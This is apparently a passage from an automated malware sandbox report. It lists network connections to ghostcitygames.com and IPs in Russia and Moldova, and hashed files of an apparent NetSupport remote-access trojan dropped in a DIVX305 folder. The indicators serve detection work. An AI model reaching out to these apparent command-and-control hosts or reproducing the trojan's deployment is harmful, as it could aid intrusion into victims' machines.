| US | 8.8.8.8:53 | ghostcitygames.com | udp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| RU | 91.219.150.112:443 | ghostcitygames.com | tcp |
| MD | 5.181.156.45:443 | tcp | |
| US | 104.26.0.231:80 | geo.netsupportsoftware.com | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h1a4i4qz.knj.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2484-8-0x000001E6CC720000-0x000001E6CC742000-memory.dmp
memory/2484-9-0x00007FFDC0830000-0x00007FFDC12F2000-memory.dmp
memory/2484-10-0x000001E6B43C0000-0x000001E6B43D0000-memory.dmp
memory/2484-12-0x000001E6B43C0000-0x000001E6B43D0000-memory.dmp
memory/2484-11-0x000001E6B43C0000-0x000001E6B43D0000-memory.dmp
memory/2484-14-0x000001E6CC7A0000-0x000001E6CC7AA000-memory.dmp
memory/2484-15-0x000001E6CC7D0000-0x000001E6CC7E2000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe
| MD5 | c4f1b50e3111d29774f7525039ff7086 |
| SHA1 | 57539c95cba0986ec8df0fcdea433e7c71b724c6 |
| SHA256 | 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d |
| SHA512 | 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5 |
C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe
| MD5 | ab6a1685b0ff61ff9f8f2edc381fbe26 |
| SHA1 | 08b821ddfabe4492878ba88abf0dfa17fab3ff37 |
| SHA256 | 1eae38545767a8cbf46bb1a0839ac73cdfbf69e3617a7aa8f1a0a115dc9e78bf |
| SHA512 | 6b358948a8c1d97b49be7dcf24d32c32cddff4da95315cf3b127742073ae8a26e782edacce38004e38edf5f042c65d02e8453219d1007549da43ef2f9a120a00 |
C:\Users\Admin\AppData\Roaming\DIVX305\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
memory/2484-82-0x00007FFDC0830000-0x00007FFDC12F2000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX305\msvcr100.dll
| MD5 | acca01de0b24216d4823efeaf388748b |
| SHA1 | 33430b2a05e52cd813463716d515929d107c856f |
| SHA256 | 186db44e9736e772df6f1b5e1678ed86634bbf1e66a7b54c439cde1d1525a9db |
| SHA512 | 48a218ec6b9d65082dd71c49593c2e10d1ec6a3a4cf903e4f94cec1c0f54e5b3092658e85b7895105b6d367da6062c6c3c4e72c54076ef9826fce2f9d82432ad |
C:\Users\Admin\AppData\Roaming\DIVX305\msvcr100.dll
| MD5 | 17387c018ef8e5cb9fab06dea3fd0f9c |
| SHA1 | 511d34c03f8c744645b0039f9a44aea2a4d8d060 |
| SHA256 | a3f6d28f0efa3633bc29089b08bba9369282689ca579ff93c696513618fbc5de |
| SHA512 | 70354f5bd14797cf5f74f85f1e4ea496057e976c6360b6f67e46c26ab76db40b101cc1aa8393c186a5e38b22d9faee0752318f8b74975b5294f766fdc3ac5c04 |
C:\Users\Admin\AppData\Roaming\DIVX305\client32.ini
| MD5 | 98043670d8c850e878e333312fcfa25a |
| SHA1 | dc795e8b906d70ee5854a6797e0c1557375bc443 |
| SHA256 | 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc |
| SHA512 | 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201 |
C:\Users\Admin\AppData\Roaming\DIVX305\NSM.LIC
| MD5 | 1b41e64c60ca9dfadeb063cd822ab089 |
| SHA1 | abfcd51bb120a7eae5bbd9a99624e4abe0c9139d |
| SHA256 | f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d |
| SHA512 | c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4 |
C:\Users\Admin\AppData\Roaming\DIVX305\HTCTL32.DLL
| MD5 | b09cf553d6779f7525ce8d22899150da |
| SHA1 | 798a8100ce14bb1bb06f3ed98647e750325e801b |
| SHA256 | 66b709303d1193bf851fc9f17274e75fb6220c5ca4998b054d43f9888b3d7e0a |
| SHA512 | b741e5a497c584bc1ce3054d659ca522f6d3bdf17183e0abd8e82f2c9ad5659da918182955fdf6abe88f8a56aa70bf80a97ab0cf59eaf0f206c84b77cf8ec722 |
C:\Users\Admin\AppData\Roaming\DIVX305\HTCTL32.DLL
| MD5 | beed0effa708459efcdc16c3be47390e |
| SHA1 | 870feb986517081962bbd489d4e2dc32f14c557f |
| SHA256 | e392330e008ffd3951ad9c1b552d6b94201a829aa04463257de277828777b909 |
| SHA512 | 46d8251f81436af8493dd4e1a24f660b31c8deef0265606f3b482973078148713f280ee346775cafa7af0db68cff49106fe9ee8e8668a013255d7d7778116523 |
C:\Users\Admin\AppData\Roaming\DIVX305\MSVCR100.dll
| MD5 | 482ad6e3fb5c2406e6741bce37567694 |
| SHA1 | f0174a44f97df0c2557806cd021ea493bb018d43 |
| SHA256 | ed94fb4c194aa86a2b5f2324066bd5e67bc8cc80ceff478d201c095008b0db92 |
| SHA512 | 8d61457a9a519d57ef30739a499c546c99097b1f1f650f8268904be0ea976fbad835c49d4b435385bfe621b0d7930d060332a652083c0924a2d4a00b2043fb77 |
C:\Users\Admin\AppData\Roaming\DIVX305\PCICHEK.DLL
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\Users\Admin\AppData\Roaming\DIVX305\PCICL32.DLL
| MD5 | 84dbd0d8bba5e67457cf452244680240 |
| SHA1 | 63537ac8ad7990073240ef70286234981f4ca5de |
| SHA256 | 1a2ca2418fcbf806e7d6fb633f26b25da7cf78282aa6dca47509f5c5f3291b21 |
| SHA512 | 87022336432d4bff68cfaa5c8c26e3c9c650c54de758a1524fd7e07cc8a3ee11947d3678d02455f1c5a2313304e7c51e1a2464ae402e04f7cf7ab9723289bd97 |
C:\Users\Admin\AppData\Roaming\DIVX305\PCICL32.dll
| MD5 | 01dd9d9365139f35504056e66c043350 |
| SHA1 | 18478d2921569de321f7c91adecd704f193a76ee |
| SHA256 | 5a68ccee63eacfd5ecaafdc23a2344fd17766dd016ef21aa118c10fa7f6129b2 |
| SHA512 | 1654eb2207c85160c55913a7f87a22bf0f64984ea41209715d3e74dfc81439e05737a944090d307ee8c50d7b60c5aa963be7020ada2e9f403210064f30ea18ce |